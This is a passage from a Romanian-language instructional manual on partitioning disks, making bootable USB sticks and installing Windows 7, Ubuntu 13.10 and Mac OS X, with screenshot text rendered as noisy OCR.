Verificam marimea volumului simplu si apasam ,,next”. Atribuim o litera partitiei si apasam
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,,next”.

Specify Volume Size
Choose a volume size that is between the maximum and minimum sizes.

Maximum disk space in MB:

Minimum disk space in MB:

Simple volume size in MB:
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Selectam ,,NTFS” ca sistem de fisiere. Daca ne gindim ca vom utiliza partisia pentru a instala
o0 alta versiune a SO Windows, atunci este bine sa alegem NTFS. Vom selecta Fat32 doar in
cazul in care vrem sa utilizam spatiul pentru a instala o distributie Linux. Apasam ,,next”.

Format Partition
To store data on this partition, you must format it first.

Choose whether you want to format this volume, and if so, what settings you want to use.

() Do not format this volume

(®) Format this volume with the following settings:

File system: NTFS v

Allocation unit size: Default v

Volume label: ‘[Enter Volume Name| ’ * 1
Perform a quick format

[ ] Enable file and folder compression 2

4

< Back Next > Cancel

Apasam Finish pentru a crea noul volum.

Completing the New Simple
Volume Wizard

You have successfully completed the New Simple Volume
Wizard.

You selected the following settings:

Volume type: Simple Volume
Disk selected: Disk 0
Volume size: 1000 MB

Drive letter or path: G:

File system: NTFS
Allocation unit size: Default
Volume label: MTE

Niirk famat: Yee

To close this wizard, click Finish.
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4.2 Proceduri de instalare a SO.

Cum sa instalezi Windows 7 ( Windows 8/10) de pe un stick bootabil (Memory Flash)?

Sistemele de operare Windows 7 si Windows 8 pot fi instalate si de pe un stick bootabil in
cazul in care calculatorul sau laptopul tau nu dispune de unitate optica. Aceastd situatie este
intalnita din ce in ce mai frecvent, in special in cazul ultrabook-urilor sau laptopurilor
ultraportabile, intrucat producatorii prefera sa elimine unitatea optica pentru a asigura o grosime
si 0 greutate cat mai mica pentru produsul final.

In plus, unitatea optica a inceput sa dispara inclusiv de pe computerele desktop, ca urmare a
popularitatii stick-urilor USB si a serviciilor de stocare a datelor in cloud, care usureaza
semnificativ transferul de fisiere. Astfel, daca vrei sa reinstalezi sistemul de operare pe un
computer desktop sau laptop fara unitate optica trebuie sa pui Windows pe stick, adica sa faci un
stick USB bootabil cu kit-ul de Windows 7 sau Windows 8. Asta pentru ca Microsoft distribuie
sistemele de operare Windows 7 si Windows 8 numai pe DVD.

Ce-ti trebuie pentru un stick bootabil cu Windows?
¢+ un stick USB cu capacitatea de minim 8 GB
¢ un kit de instalare pentru Windows 7 sau Windows 8 in format ISO

Daca ai un calculator sau laptop compatibil cu noua interfatd UEFI (Unified Extensible
Firmware Interface) care va inlocui la un moment dat batranul BIOS, este posibil ca stick-ul
USB si nu booteze daca folosesti formatul de fisiere NTFS. In acest caz, trebuie sa formatezi
stick-ul in format FAT32 (sau sa bifezi optiunea I want to use the old FAT32 filesystem for
more compatibility in utilitarul WinUSBMaker) inainte de a folosi unul dintre aceste utilitare.

Stick bootabil Windows 7 sau Windows 8

Existd cel putin trei metode intuitive pentru a realiza un stick bootabil cu Windows 7 sau
Windows 8. Una dintre ele dezvoltata chiar de Microsoft, iar celelalte doua de programatori

independenti.
<D,
‘ ¥
. &2 Windows7

4

% Windows USB/DVD Download Tool

Microsoft a inteles necesitatea utilizatorilor de a putea beneficia de instalare Windows 7 de pe
stick, motiv pentru care a lansat un utilitar intuitiv care te ajutd sd creezi un stick USB bootabil in
numai patru pasi.

Chiar daca numele nu sugereaza acest lucru, utilitarul Windows 7 USB/DVD Download Tool
poate fi utilizat si pentru a realiza un stick bootabil Windows 8, iar pasii pe care trebui sa-i
urmezi sunt identici.

Descarca si instaleaza utilitarul Windows USB/DVD Download Tool de pe site-ul Microsoft
(kitul are numai 2.5 MB) si, dupa ce 1l rulezi, respecta cerintele de mai jos:

¢+ Pasul 1 — Choose ISO file: Selectezi imaginea ISO a kitului de Windows 7 sau Windows
8 de pe harddisk si dai click pe Next

s Pasul 2 — Choose media type: Alegi optiunca USB device din partea dreapta-jos a
ferestrei

s Pasul 3 — Insert USB Device: Introduci stick-ul in portul USB, il alegi din lista drop-
down si dai click pe Begin Copying
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¢ Pasul 4 — Creating bootable USB device: astepti realizarea stick-ului USB bootabil cu
Windows 7 sau Windows 8. Operatiunea va dura cateva minute, in functie de
performantele stick-ului USB, iar la final primesti mesajul de confirmare Backup
completed.

Important

Daca utilizezi aceastd metoda pe Windows XP, trebuie sa instalezi in prealabil Microsoft .NET
Framework 2.0 si Microsoft Image Mastering API v2. Nu incerca sa instalezi ultima versiune
Microsoft NET Framework 4.5, aceasta nu este compatibila cu Windows XP.

Pasii pe care trebuie sa-i urmezi pentru a realiza un stick USB bootabil cu Windows:

Step 1 of 4: Choose ISO file

Source file: Browse

Next

Step 2 of 4. Choose media type

Please select the media type you would ke to use to create your Windows 7 backup. You can choose to
copy to USB orbumto DVD

USB device | DVD

Step 3 of 4: Insert USB device (-@:

if your device is not displayed click "Refresh *

|G\ (Removable Disk)- 76 GB Free =~ &
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Step 4 of 4: Creating bootable USB device (GZ

Status: Fomatting

Bootable USB device created successfully (@3

L

Status: Backup completed

% A Bootable USB
Daca din diverse motive nu vrei sa utilizezi Windows 7 USB/DVD Download Tool, poti
apela la utilitarul A Bootable USB, dezvoltat de un programator independent. Operatiunile sunt
la fel de simple si se efectueaza Intr-o singura fereastra a utilitarului, dupa cum urmeaza:
¢+ Pasul 1: Introduci stick-ul in portul USB, rulezi utilitarul, dai click pe Check USB si,
dupa ce este identificat, pe Format USB (ATENTIE: toate datele de pe stick vor fi sterse)
¢+ Pasul 2: Dai click pe ISO version, iar cu Open ISO selectezi imaginea cu Windows 7 sau
Windows 8 de pe harddisk
«» Pasul 3: Selectezi Start ISO, iar utilitarul realizeaza in citeva minute stick-ul USB
portabil cu Windows 7 sau Windows 8.

% WinUSBMaker
A doua alternativa este utilitarul WinUSBMaker, un software portabil care nu are nevoie de
instalare, intrucat poate fi rulat direct prin accesarea fisierului .exe din arhiva descarcata de pe
site-ul Josh Cell Sotwares. Operatiunile pe care trebuie sa le urmezi sunt simple:
¢+ Pasul 1: Introduci stick-ul in portul USB, rulezi utilitarul WinUSBMaker, iar in tabul
Welcome selectezi stick-ul USB detectat de calculator
<+ Pasul 2: Intri in tabul Setup to USB, selectezi optiunea I want to work with an ISO file,
dai click pe Select an ISO or Directory si selectezi imaginea cu Windows 7 sau Windows
8 de pe hard-disk
+»» Pasul 3: Selectezi Make USB Bootable, iar utilitarul realizeaza in cateva minute stick-ul
USB portabil cu Windows 7 sau Windows 8.

Important: Doar versiunea WinUSBMaker 2.0 Beta poate fi utilizata si pe Windows XP pentru

a realiza un stick bootabil cu Windows 7 sau Windows 8. Versiunile precedente ale utilitarului
nu sunt compatibile cu Windows XP.
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4.3 Instalare Windows 7

1. Crearea mediului de instalare al Windows 7

Daca nu dispuneti deja de un DVD ce contine kit-ul de instalare a Windows 7, puteti descarca
de aici: https://cristianls.ro/descarca-gratis-windows-7-sp1/#more-5885 versiunea pe care doriti
sd o instalati. Pentru a face acest lucru, va recomand sad urmati instructiunile.

Indiferent daca la instalare vom folosi un DVD sau un Flash USB, va trebui sa porniti
calculatorul de pe acestea. Pentru configurarea BIOS-ului astfel incat calculatorul sa porneasca
de pe mediul de instalare, va recomand sa cititi atent inainte de a continua.

2. Instalarea sistemului de operare Windows 7

Dupa ce ati pornit calculatorul de pe mediul de instalare, s-ar putea sd vedeti pe monitor un
text care va invitd sd apdasati orice tasta pentru a boota de pe acesta. Daca este asa, apasati o tasta
apoi asteptati afisarea primei ferestre de dialog a asistentului de instalare a Windows 7.

In prima fereastra de dialog va trebui sa-i indicati asistentului de instalare limba in care doriti
sa instalati sistemul de operare, tara n care va aflati, precum si aranjamentul tastaturii conectate
la computer.

= Install Windows

o«
Y
Windows 7

Language to install z
Time and currency format: [SRIEN{IH ESEIE) X

Keyboard or input method: [I}S

Enter your language and other preferences and click "Next

Copyright © 2009 Microsoft Corporation. All ights reserved.

La pasul urmator, apasati butonul Install now pentru a putea continua cu instalarea.

38


https://cristianls.ro/descarca-gratis-windows-7-sp1/#more-5885

% Install Windows

>
Windows 7

— ————

Install now @

3

What to know before installing Windows

Repair your computer

Copyright © 2008 Microsoft Corporation. All rights reserved.

3. Selectarea versiunii Windows 7 (optional)

In cazul in care veti folosi un DVD de instalare care include toate versiunile sistemului de
operare Windows 7, la acest pas va trebui sd selectati versiunea pe care doriti sd o instalati.
Faceti click pe versiunea dorita apoi apasati butonul Next.

Select the operating system you want to install

Operating system I Architecture | Date modified | =
Windows 7 Starter xB6 11/20/2010
Windows 7 Home Basic x86 11/20/2010
Windows 7 Home Premium x86 11/20/2010
Windows 7 Professicnal x86 11/20/2010
Windows 7 Enterprise %36 11/20/2010
Windows 7 Ultimate x86 11/20/2010
Windows 7 Home Basic x4 11/21/2010 .
Windows 7 Home Premium x64 11/21/2010
Windows 7 Professional x6d 11/21/2010 ;]
Description:

Windows 7 Ultimate

Inainte de a continua, asistentul va va aduce la cunostinta termenii licentei sistemului de operare
Windows 7, termeni pe care va trebui sa-i acceptati pentru a-l putea instala:
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Please read the license terms

MICROSOFT SOFTWARE LICENSE TERMS ﬂ

WINDOWS 7 ULTIMATE SERVICE PACK 1

These license terms are an agreement between Microsoft Corporation (or based on
where you live, one of its affiliates) and you. Please read them. They apply to the
software named above, which includes the media on which you received it, if any.
Printed-paper license terms, which may come with the software, may replace or modify
any on-screen license terms. The terms also apply to any Microsoft

updates,
supplements,

Internet-based services, and

[V 1 accept the license terms

Dupa acceptarea termenelor licentei, la tipul instalarii, dati click pe Custom (advanced):

Which type of installation do you want?

Upgrade

. Upgrade to a newer version of Windows and keep your files, settings, and programs,
| The option to upgrade is only available when an existing version of Windows is
running. We recommend backing up your files before you proceed.

y of Windows. This option does not keep your files, settings, and
option to make changes to d

m -

programs. Th
start ycur cor

and partitions is available when you

ter using the installation disc. We recommend backing up your files

s

before you proceed.

e e A

4. Crearea partitiei in care va fi instalat Windows 7

Important! in cazul in care veti instala Windows 7 pe un calculator in care ati avut acest
sistem de operare sau orice alta versiune de Windows, treceti la punctul 6.1 al ghidului.

Daca veti instala Windows 7 pe un Hard Disk nou, in fereastra ,,Where do you want to install
Windows,, , selectati Hard Disk-ul si apasati butonul Drive options.
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Where do you want to install Windows?
| Name | Total Sizel Free Spacel Type
Ifﬂ-? Disk 0 Unallocated Space 80.0 GB 80.0 GB
- L
¥4 Refresh Drive options {(advanced)
& Load Driver

4. Crearea partitiei de sistem (C)

La afisarea optiunilor avansate, in scopul crearii partitiei C, adica partitia in care va fi instalat
sistemul de operare si programele, faceti click pe New:

Where do you want to install Windows?
l Name | Total Size Free Spacel Type
.~ Disk0 Unallocated Space 80.0 GB 80.0 GB
44 Refresh )( Delete &/ Format S qufj
#A Load Driver :_? Extend '

Va fi afisata o noua casetd, Size, in care va trebui sa introduceti in MB, spatiul care 1i va fi alocat
acesteia. Eu i-am alocat doar 20 de GB + 100 de MB necesari la crearea partitiei rezervate de
sistem, dar va recomand sa alegeti o valoare superioard a 60 GB, in functie de programele pe
care stiti cd le veti instala in viitor. Dupad indicarea spatiului dorit, apasati butonul Apply:
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Where do you want to install Windows?
| Name ] Total Sizel Free SpaceJ Type
e~ Disk 0 Unallocated Space 30.0 GB 80.0 GB
€4 Refresh )ﬂ Delete Qlformat I New
3 Load Driver :,jb_ctend Size: I20580| ﬁ MB [ Apply R{! [ Cancel I

Asistentul va va aduce la cunostintd ca va crea o noud partitiei rezervatd sistemului. Apasti pe
OK pentru a confirma citirea avertismentului si continua cu instalarea:

Where do you want to install Windows?

| Mame | Total Size Free Space | Type
r»-.? Disk 0 Unallocated Space 800 GB 80,0 GB
Install Windows ﬁ

To ensure that all Windows features work correctly, Windows might create
additicnal partitions for system files,

*4 Ref

& Bloa [ OK!}_] [ Cancel ]

5. Crearea partitiei pentru date si media (D)

Reintorsi la fereastra cu tabela partitiilor, veti vedea ca din spatiul nealocat initial au fost
create doua partitii noi. Partitia C si partitia rezervatd de sistem. Pentru a crea partitia D, adica
partitia in care veti putea salva date ce vor putea fi pastrate la reinstalarea sistemului de operare,
selectati spatiul nealocat ramas si dati click pe New:
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Where do you want to install Windows?

| Mame | Total Size Free Space | Type
T“j-? Disk O Partition 1: Systermn Reserved 100.0 MB 86.0 MB  System
T“j-? Dizk O Partition 2 20,0 GB 20.0GE  Primary
r_:i?. Disk 0 Unallocated Space - 58.9 GB 59.9 GBE
+4 Refresh .x Delete qurm at e Mew

& Load Driver

;ﬂ Extend

Daca nu doriti crearea crearea unei alte partitii (rareori este nevoie de asa ceva), fard a modifica
cantitatea de MB afisatd in caseta Size, apasati butonul Apply pentru a crea partitia D pe tot

spatiul liber ramas pe Hard Disk:

Where do you want to install Windows?

| Mame | Total Size Free Space | Type
— Disk 0 Partition 1: Systemn Reserved 100.0 ME 860 MB  System
— Disk 0 Partition 2 2010 GE 200 GE  Primary
,,._::i? Disk 0 Unallocated Space 599 GE 589 GE
rf; +4 Refresh .x, Delete i Format i Mew
"’:?4}(; Load Diver S Extend siee  [61330  =| MB [ Apply Q] | Cencel |

Dupa crearea partitiei D, selectati prima partitie creata, adica partitia C, si butonul Next pentru a

initia instalarea sistemului de operare Windows 7:
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Where do you want to install Windows?

| MName | Total Size Free Space | Type
[ Disk O Partition 1: System Reserved 100.0 MEB 86.0 MB  System
‘___‘_P Disk 0 Partition 2 20,0 GB 20.0 GB  Primary
— Disk 0 Partition 3 53.8 GB 589 GB  Primary
+4 Refresh x Delete &” Format Mew
&% Load Driver :::i Extend
| g".\
2 =
g 4 i
0 L3

6.1. Reinstalarea sistemului de operare Windows 7

Multi dintre voi veti instala sistemul de operare Windows 7 pe un calculator in care a fost
deja instalat, sau in unul in care aveati alt sistem de operare. In astfel de cazuri, pentru a pastra
datele de pe partitia de date (identificata de obicei cu litera D), va trebui sd eliminati doar partitia

in care a fost instalat sistemul de operare anterior.

E foarte greu sa identificati partitia C in tabela afisatd de asistentul de instalare daca nu-i
cunoasteti capacitatea, asa cd, dacd nu stiti precis, va recomand sa reporniti sistemul si sa scrieti
pe o bucidticd de hartie capacitatea avutd de partitia C, apoi reluati de la capat procesul de

instalare pana la acest punct.

Sa presupunem ci partitia C are capacitatea de 20 GB. In tabela de partitii, vom face click pe

partitia de 20 Gb » Drive options:

Where do you want to install Windows?

3o &
el o 4 Befresh
7

"f{‘j-";: zd Driver

| Mame | Total Size Free Space | Type
= Disk O Partition 1: System Reserved 100.0 MB J10MB  Systemn
2 Disk0 Partition 2 20.0 GB 126 GE  Primary
[ Disk 0 Partiticn 3 59.9 GB 592 GB  Primary

Drive cptiens (advanced)

Se fixeaza partitia, apoi se efectuiaza un click pe link-ul Format:
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Where do you want to install Windows?
| Mame | Total Size Free Space | Type
[ Disk O Partition 1: Systern Reserved 100.0 MEB TLOME  System
- 2» Disk( Partition 2 20,0 GB 126 GB Primary
= Disk O Partition 3 50.9 GB 5982 GB  Primary
rl_f"}, *¢ Refresh ?’( Delete & Format Mew
Y - ]
i) fq;zad Drrver :;i Extend

Tineti cont ca formatarea partitiei implicd pierderea tuturor datelor aflate pe aceasta. Daca nu
sunteti sigur ci doriti acest lucru, apasati butonul Cancel si abandonati procesul de instalare. In
schimb, daca sunteti siguri ca ati salvat pe o alta partitie, pe alt Hard Disk sau orice alt dispozitiv
ori serviciu de stocare date, documentele si fisierele importante, confirmati cd doriti formatarea
partitiei apasand butonul OK.

Where do you want to install Windows?
| MName | Total Size Free Space | Type
f.':,'-ﬁ"' Disk 0 Partiticn 1: Systemn Reserved 100.0 MB 710 ME  System
S| nstall Windows ﬁ .
= A The partition might centain recovery files, system files, or impertant scftware
i Ié- from your computer manufacturer, If you format this partition, any data stored
on it will be lost,
#4 Ref
If’;_f.l'f?;/:l‘i_f Loa Ok kj l Cancel ]
U/
& .

Apoi, selectati partitia pe care tocmai ati formatat-o si apasati butonul Next pentru a porni
instalarea propriu-zisa.

Pentru a instala Windows 7 in aceastd partitie, in tabela de partitii, selectati partitia pe care
tocmai ati creat-o, apoi apasati Next pentru a porni instalarea propriu-zisa.
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Where do you want to install Windows?
| MName | Total Size Free Space | Type

[l Disk 0 Partition 1: System Reserved 100.0 ME T10MEB  System

,r_:i;, Disk 0 Partition 2 20.0 GB 19.9 GE  Primary

1'.',-,;? Disk 0 Partition 3 59.9 GB 59.9 GE  Primary

+4 Refresh ?’( Delete &” Format Mew

&* Load Driver zﬂ Extend

:{_,, B
‘-f;’?:f/.
N Next

0 R

7. Instalarea propriu-zisa

De aici nainte, pana la afisarea ferestrei in care vi se va cere sd introduceti numele de
utilizator si parola de deblocare a calculatorului, priviti fard sd interveniti. Pe parcursul instalarii,
calculatorul se va opri si va reporni automat. E absolut normal sa se intample acest lucru.

Installing Windows...

That's all the information we need right now. Your computer will restart several times during
installation.

 Copying Windows files
Expanding Windows files (11%) ..
Installing features
Installing updates

// Completing installation

Dupa ce instalare sistemului de operare Windows 7 s-a completat, veti fi invitati sd va creati
un cont nou de utilizator, pas important pentru a putea utiliza computerul.

Dupa ce instalare sistemului de operare Windows 7 s-a completat, trebuie sa instalati drivere-
le necesare pentru a putea lucra la PC.

Asta a fost tot! Dupa cum ati vazut, procesul de instalare nu este nici pe departe unul atat de
complicat pe cat multi preferd sa creadd atunci cand pentru realizarea sa recurg la service-uri sau
alte persoane, din teama sa nu strice In vreun fel computerul.
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) a Set Up Windows

f‘] Windows 7 Ultimate

Choose a user name for your account and name your computer to distinguish it on the network.

Type 2 user name (for example, Johnj:
cristianls.ro

Type a computer name:

cristianlsro

Copyright © 2009 Microsoft Corporation. All rights reserved.

4.4 Instalare Linux Ubuntu 13.10 Desktop

Dacd inainte Ubuntu era greu de instalat si de lucrat pe el pentru ca necesita cunostiinte de
programare si de hardware, acum oricine poate experimenta pe el. Se intaleaza si se utilizeaza
mult mai usor decat Windows. Drept urmare v-am pregatit un ghid in 10 pasi cum sa instalati
Ubuntu aldturi de Windows.

Mentionez de la inceput ca voi prezenta un mod de instalare in care va fi folosit in paralel cu
Windows. Astfel, cand pornesti calculatorul, poti alege sistemul de operare care doresti sd se
incarce. Aceasta instalare de Ubuntu nu va afecta in niciun fel functionalitatea Windows.

Pasul 1.

Prima data avem nevoie de sistemul de operare Ubuntu. Mergem pe aceasta pagina si selectam
varianta care ne intereseaza: https://www.ubuntu.com/download/desktop

Ultima versiune este 16.04, dar noi vom instala versiunea 13.10, cea a carei instalare o vom
detalia mai jos. Aveti grija la arhitectura calculatorului, daca este pe 32 biti sau 64 biti.

Pasul 2.

Acum ca avem fisierele de instalare trebuie sa cream un DVD sau un Flash USB boot-abil.
DVD-ul a ajuns deja o varinata nu prea des utilizata de instalare, asa ca va voi ardta cum se face
un stick boot-abil.

Aveti nevoie de un programul Pen Drive Linux's USB Instaler pe care il gasiti aici:
http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/ Dupa descarcare il instalati
si il deschidem;
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> De de unde scrie ”Step 1” din listd selectati varianta de Ubuntu potrivita. In imagine
arata 12.10, dar vom selecta 13.10.

5 Y88 ostaler

Choose & Linu: Distro, [50/7TF file and, your USS Flash Drive.

Step 1: Select & Urune Distribution from the dropdown to put on your LISE
-

e Latest Ubumby 3254 Bit --- s

Ubunty 12.10Decktop I romnt
Uburtu 12, 10 DVD
"""'“"""t N bapeee : Show al Drives (UISE WITH CALTION)
Ubuntu 11, 10 Desktop
Ubuntu 11. 10 OVD
Mubunty 11,10 Desictop Pa.g..rPaJ
Kubuntu 11,10 Desktop ams?
Lubuntu 11, 10 Desktop
Bduburiby 11,10 Deskiop
Mythbunibu 11. 10 Desktop
Ubintu Studio 11,20 Installer
Ubunty Server 11. 10 Instaler
T Uiy Resoue Remix 1110

» Mai jos la ”Step 2” apasam pe “Browse” si vom indica locul in care am descarcat Ubuntu
13.10. Fiecare are proprirul lui folder de descéarcare.

Choose & Linux Distro, I50 /7P file and, your USE Flash Drive.

Step 1: Sehect a Linux Distribution from the dropdown to put on your USE:

Ubunitu Dasktop w | [ Download the isa (Optional).
[ 1230 ] Visit the Lbuntu Home Page

Step 2: Select your precse-deskiop® iso
Browse bo your predse-dedkiop™ B0 >

o IS8 Flash Drive Lather Only [ ] Show all Drives (USE WITH CALTION)

PayPal
Donate 57

ik HERE to Visit the Linversal USE Installer Page for additional HELP

48



» La”Step 3” aratam care este stick-ul pe care pe care dorim sa il facem boot-abil. Pe urma
”Create” si asteptam.

5 958 ostller

Setup your Selections Page
Choose a Linux Distro, 19071 fle and, your USE Flash Deive,

Step 1: Select & L Destribution from the drcpdown o put on your LISB
Ubunty 12.04 Desktop Daiy Buld - Local iso Selected.
[ ] Wisit the Ubuntu Home Fage
Stap 2: Selact your predse-deskiop® i
Coiears|ames \Daslotop pracss desktop. B0 50
Step 3: Selact your USE Flash Drive Letter Only  [V] Now Showing Al Drives (EE CAREFLL)

Step 4: Set a Persistent file size for storing changes (Dptional). Pﬂfpﬂf
J Donate 57
oMa

Click HERE to Visit the Linfversal USE Instaler Page for additional HELP

| create | [ concel |

Pasul 3.

Acum ca avem stick-ul USB boot-abil trebuie sa trecem la instalarea propriu-zisa. Introducem
Flash-ul si repornim calculatorul. Se pot intampla doua lucruri: fie s porneasca direct meniul de
la Ubuntu in care selectdm limba si altele, fie sd porneasca Windows. Daca Ubuntu nu se Incarca
direct, atunci restartati calculatorul si imediat ce porneste apasati F12 de mai multe ori imediat.
De obicei acesta este butonul pentru a intra n meniul de boot. De aici veti selecta USB Boot.

Daca nici asa nu merge, atunci va trebui sa intrati in BIOS si sa setati USB ca fiind primul
dispozitiv de Boot. Presupunand cd totul a mers bine, acesta este primul ecran care apare. De aici
selectati limba (va sfatuiesc engleza pentru ca in romand ar putea parea ciudat). Pe urma mai
aveti doua butoane. Vom apasa pe cel din dreapta pentru instalare.

Bahasa indonesia

Bosanskl

Catala

Ceitina

Cymraeq

Dansk

Deutsch

Eesti —
Espanol Try Ubuntu Install Ubuntu
Esperanto

Euskara You can try Ubuntu without making any changes to your computer, directly
Frangais from this CD.

Gaellge
Galego
Hrvatski

Islenska

Or If you're ready, you can install Ubuntu alongside (or instead of) your
current operating system. This shouldn't take too long

You may wish to read the release notes,
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Pasul 4.

Ne pregatim de instalare. Aici sunt afisate conditiile minime pentru ca instalarea sa decurga
fara probleme. Trebuie sa aveti cel putin 5.9 GB de spatiu liber. Laptopul sau calculatorul sa fie
bagat in priza.

Este indicat sa aveti o conexiune la internet, dar nu este neparat. Daca veti bifa ”Download
updates while installing”, atunci va va trebui internet. Va spun ca procesul va fi mai rapid daca
nu vom descarca actualizari. Tastam Continue...

Pasul 5.

Install

Preparing to install Ubuntu

For best results, please ensure that this computer:

has at least 5.9 G8 avallable drive space

is compnected to the internet

Download updates while installing

Ubuntu uses third-party software to play Flash, MP3 and other media, and to work with some graphics and
wi-fi hardware, Some of this software is proprietary, The software is subject to license terms included with
its documentation

€2 install this third-party software

Fluendo MP3 plugin inchedes MPEC Liyer 3 audeo decoding technology Icensed from Fravsholer 15 and Techaucolor SA

Quit Back Continue

Aici va trebui sd va conectati la internet in cazul in care ati selectat la Pasul 4 ca Ubuntu sa
caute actualizari in timpul instaldrii. Dacad nu vreti sa va conectati, atunci bifati prima optiune I
don't want to connect to a wi-fi network right now”. Tastam Continue...

Install

Wireless

Connecting this computer to a wi-fi network allows you to install third-party software, download updates,
automatically detect your timezone, and install full support for your language.

I don't want to connect to a wii network right now

® Connect to this network
v Broadcom Corporation 8CMA312 802.11b/g LP-PHY
+ Ubuntu1

-a Ubunty 2
Ubuntu 3
s Ubuntu 4

~a Ubuntu 5

TR~ VT L

= Ubuntu 7

“a Ubuntu 8

Password Display password

Connect v
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Pasul 6.
La inceput am spus ca vom instala Ubuntu aldturi de Windows. Pentru acest lucru vom

selecta prima optiune “’Install Ubuntu alongside Windows”. Ca fapt divers, daca veti selecta a
doua optiune, atunci Ubuntu va sterge toate fisiere Windows si va fi singurul sistem de operare
de pe calculator. A treia optiune e pentru avansati si nu o vom detalia. Tastam Continue...

install

Installation type

This computer currently has Windows 7 on it, What woedd you bive to do?
= ) y

Install Ubunty slongside Windows 7
- Dec Wi, vl other personal fes wil be hegt
o ¢ which oper iEng Bl em you want #xh
N M O

pater Sats v

Replace Windows 7 with Ubunty
Warring Yha wil delete ol of your Windows 7 geo
docurnents, photos, e, and arry other ke

something else

Conkinue

Pasul 7.
Este momentul sd alocam spatiul pentru instalare. Daca la pasul anterior ati selectat prima

optiune, atunci acesta va fi ecranul care va aparea. Ubuntu aratd cat spatiu va folosi pentru
instalare. Gasesete singur unde este loc liber pe hard-disk si pune acolo fisierele sale. De
mentionat cd va avea nevoie de 4,5 GB de spatiu plus incé ceva pentru alte fisiere.

Daca vreti sd modificati spatiul alocat pentru Ubuntu atunci apasati pe “advanced partitioning
tool”. Nu va sfatuiesc sa intrati aici, ci sd lasati sistemul de operare sa decida singur cat spatiu i1
trebui. Nu isi va aloca foarte mult si nu va face risipd de spatiu. Nu va mai raméne decat sa
apasati Install now”.

Install

Install Ubuntu alongside Windows 7

Select dewve:  SCSIH (0,0,0) (sSa) - 5.0 CB ATA SAMSUNG S50 UM41

Allocate drive space by drageing the divider below:

d
Windows 7

devivdat tat)]

21GB

51



Pasul 8.
Ubuntu vrea sa stie locatia ta pentru a stabili ora si alte repere. Daca v-ati conectat la internet,
atunci acest lucru se va face automat. Daca nu, va trebui sa selectati manual. Tastam Continue...

Install

Where are you?

| Bucharest )

Back Continue

Pasul 9.

Configurarea tastaturii. Majoritatea romanilor folosesc configuratia English UK 1in care
fiecare buton afiseazd exact ce scrie pe el. Este cel mai simplu mod de scriere de la tastatura.
Daca vreti sa scrieti cu diacritice, atunci selectatia Romanian. Tastam Continue...

Install
Keyboard layout

Choose your keyboard layout:

English (Camevoon) English (UK)

English (Chana) English (UK} - English (UK, Cotemak)

English (Nigeria) English (UK) - English (UK, Dvorak with UK punctuatio
English (South Africa) English (UK} - English (UK, Dvorak)

English (UX) English (UK) - English (UK, Macintosh international)

English (US) English (UK} - English (UK, Macintosh)

Esperarto English (UK) - English (UK, extended Winkeys)

Estenian English (UK) - English (UK, internationa! with dead key
Faroese

Type here to test your

Detect Keyboard Layout

Continue
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Pasul 10.

Pentru securitate va trebui sa introducem numele personal, numele calculatorului, username si
parola. Aici fiecare stie ce are scris. Pentru simplitate toate numele pot fi la fel, dar nu este
tocmai sigur. Tastam Continue...

Install

Who are you?

Your name: ' Lola Chang

Your computer’s name: * lolachangdaptop

The rasse £ uses when £ Lok (o other computers

Pick a username: © lolachang
Chooseapassword. 900000000000  Cood pansword

Confirmyouwr password: 900000000000

Log in automatically
© Require my password to login

Encrypt my home folder

Continue

Pasul 11.

Ubuntu oferd serviciul de cloud computing numit Ubuntu One. Pentru a va conecta aveti
nevoie de un username si o parola. Dacd nu aveti cont pe Ubuntu One atunci bifati prima optiune
si el se va crea automat dupa introducerea parolei si utilizatorului. Tastam Continue...

Install

One account to log in to everything on Ubuntu

Please type your emait

lolachang2010@yahoo.co.uk
Enter the emad a0dvess you Use £o log Inko your Ubunty One account
I you doa't have an sccount yet, dont worry we'l create one for you

© 1am a new Ubuntu One user

I am a returning Ubuntu One user and my password s

]

Loginlater Continue
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Felicitari!
Instalarea a inceput si dupa putind vreme veti avea un sistem de operare proaspat instalat.

Instaill

Welcome to Ubuntu 13.10

Fast and Full of new features, the latest
version of Ubuntu makes computing easier
than ever. Here are just a few cool new things
to look out for..

Dupa finalizarea instalarii va va spune sa reporniti calculatorul. La repornire veti putea selecta
sistemulde operare care va intereseaza, Ubuntu sau Windows.

4.5 Instalare Mac OS X 10.10 Yosemite

Acest sisitem va face viata mult mai simpla, mult mai lipsita de griji in tot ce inseamna
utilizarea zi de zi a unui PC. Aici nu vorbesc de cei care se joaca 99% din timpul petrecut la
calculator, ci de cei care il folosesc pentru diverse activitati pe care le au legate de un PC. Va
garantez, ca o data ce va “prinde”, nu va mai da drumul, pentru ca totul, asa cum spuneam, este
mult mai natural, si mai simplu cu aceste PC-uri.

Acum sa revenim la cum se poate reinstala, sau mai bine zis instala, OS X pe un HDD
complet nou, sau total formatat NTFS. OS X functioneaza pe o partitie in formatul standard
HFS+ asa cum ultimele versiuni de Windows (de la XP incepand) functioneaza pe NTFS.

In primul rand aveti nevoie de o conexiune la internet, de un DVD cu un OS X, cat de vechi,
sau un Flash USB bootabil cu un OS X. Daca nu le aveti astea e putin mai complicat, pentru ca
aveti nevoie de un prieten sa va faca un Flash USB cu OS X. Maveriks sau Yosemite se poate
descarca absolut gratuit de pe net sau din App Store dintr-un Mac, iar pasii sunt destul de simpli.

O data ce ati facut acest Flash sau aveti un CD original, introducetile in Mac si porniti sau
reporniti Mac-ul, dupa care, imediat ce se aude primul sunet de pornire apasati tastele:

Command + R
In cateva secunde, pe ecranul Mac-ului va aparea un glob pamantesc ce se invarte si care va va
anunta ca va cauta o instalare pe internet, sub acesta aparand toate retelele disponibile pe care
acesta le-a descoperit.
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In cazul in care aveti conexiune Wi-Fi, sau se conecteaza automat daca e prin cablu, descarcand,
initializand si pregatind HDD-ul timp de cateva minute pentru a putea fi instalat OS X-ul de pe
CD sau Flash.

-

OS X Utilities

@ Restore From Time Machine Backup
You have a backup of your system that you want to restore.
¥  Reinstall 0S X

Reinstali 3@ new copy of OS X.

’ Get Help Online
Browse the Apple Support website to find help for your Mac.

Disk Utility

e a disk using Disk Utility

Continue

Va apre o fereastra, in care veti fi intrebat daca doriti reintalarea OS X-ului, selectati acest lucru
si de aici in colo instalarea va incepe singura, voi urmand doar pasii care va vor fi ceruti. Totul
este foarte simplu, nu dureaza decat cateva minute sau zeci de minute in functie de performanta
Mac-ului si de viteza conexiunii la internet. Asta a fost tot, simplu, chiar foarte simplu. Succes!

Cum sa creezi un stick USB pentru instalarea OSX Yosemite
https://www.youtube.com/watch?v=zacjEoCOtp4

Cum se instaleaza Mac OS X pe PC
https://www.youtube.com/watch?v=DlaXuGWnfc8
